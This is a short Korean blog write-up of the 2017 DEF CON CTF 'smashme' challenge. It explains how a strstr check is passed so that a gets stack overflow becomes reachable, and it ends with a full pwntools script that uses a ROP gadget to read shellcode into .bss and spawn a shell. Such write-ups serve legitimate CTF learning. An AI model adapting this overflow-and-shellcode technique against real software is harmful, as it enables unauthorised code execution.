pwnable/ctf
[write-up] 2017 defcon CTF - smashme
Ryuuu
2018. 5. 9. 14:57
데프콘이 이제 얼마 안남아서 한번 풀어보는데 최저배점이라 그런지... 너무 쉽다... 그런데 다른건 너무 어렵다 ㅎㅎ
힙 문제가 많던데 이번 기회에 힙 좀 공부해야겠다...
먼저 문제를 보면 64비트 바이너리이다.
보호기법을 보면 아무것도 걸려있는게 없다. 그래서 쉘코드를 쓸 수 있어서 더 쉽다
main을 보면 그냥 gets 받아서 오버플로우 나게 생겼다
그런데 오버플로우가 나지 않아서 보니 중간에 인자에 Smash me outside, how bout dAAAAAAAAAAA와 입력한 값을 인자로 함수호출을 한다.
이 함수가 무엇인지 모르겠어서 디버깅을 해보니까 strstr인 것을 확인할 수 있었다.
그래서Smash me outside, how bout dAAAAAAAAAAA 뒤에 payload를 붙여주면 if문 내로 안들어가 exit이 안되고 오버플로우 난다.
그러면 이제 쉘코드 넣고 쉘코드로 뛰는걸 rop이용해서 하면 된다.
payload
# usr/bin/env python # ryuuu from pwn import * s = process("./smashme") #s = process(["strace","-i","./smashme"]) context(arch='amd64', os='linux') shellcode = asm(shellcraft.sh()) prdi = 0x00000000004014d6 # pop rdi ; ret bss_addr = 0x6CAB60 payload = "Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" payload += p64(prdi) payload += p64(bss_addr) payload += p64(0x40FAD0) #call gets payload += p64(bss_addr) s.sendlineafter("smash?",payload) s.sendline(shellcode) s.interactive()